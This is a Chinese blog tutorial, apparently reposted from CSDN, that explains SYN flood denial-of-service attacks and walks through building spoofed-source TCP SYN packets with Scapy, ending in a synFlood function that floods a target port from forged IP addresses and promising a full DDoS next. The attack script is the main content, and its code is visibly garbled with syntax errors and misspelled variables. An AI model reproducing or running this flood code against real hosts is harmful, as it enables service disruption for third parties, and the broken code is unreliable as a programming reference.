Python项目 基于Scapy实现SYN泛洪攻击的方法
作者:茂子666 时间:2023-01-15 01:34:30
python3版本的Scapy--Scapy3k来实现一个简单的DDos。
首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。
Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:
sudo pip3 install scapy-python3
现在学习一下scapy的使用方法:
sudo scapy(scapy发送数据包需要root权限)
(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)
现在我们使用Scapy构造一个简单的数据包看一下:
pkt = IP(dst = "192.168.0.10")
接下来我们就构造一个SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)
代码实现:
具体代码如下:
import random
import scapy.all import *
def synFlood(tgt,dPort):
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
from sPort in range(1-24,65535):
index = random.randrange(4)
ipLayer = IP(stc = stcList[index].dst = tgt)
tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
packet = ipLayer/tcpLayer
send(packet)
定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。
来源:https://blog.csdn.net/weixin_40602516/article/details/81165252
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
PHP函数shuffle()取数组若干个随机元素的方法分析
完美解决Python2操作中文名文件乱码的问题
![](https://img.aspxhome.com/file/2023/2/90832_0s.jpg)
PyCharm软件无法安装lxml库的问题及解决
![](https://img.aspxhome.com/file/2023/7/89327_0s.png)
python django model联合主键的例子
mysql 获取昨天日期、今天日期、明天日期以及前一个小时和后一个小时的时间
简单分析Python中用fork()函数生成的子进程
Javascript发送AJAX请求实例代码
Python3内置模块pprint让打印比print更美观详解
goland把go项目打包进docker镜像的全过程记录
![](https://img.aspxhome.com/file/2023/1/134351_0s.png)
python任务调度实例分析
PHP children()函数讲解
![](https://img.aspxhome.com/file/2023/9/55409_0s.png)
简单了解Python字典copy与赋值的区别
python多进程重复加载的解决方式
在vue项目中使用Jquery-contextmenu插件的步骤讲解
![](https://img.aspxhome.com/file/2023/6/139946_0s.png)
基于python3监控服务器状态进行邮件报警
![](https://img.aspxhome.com/file/2023/3/97343_0s.png)
如何用Response.Write调用代替内嵌表达式?
python实现图像降噪
![](https://img.aspxhome.com/file/2023/7/135297_0s.jpg)
详解如何用Python写个听小说的爬虫
![](https://img.aspxhome.com/file/2023/5/127635_0s.png)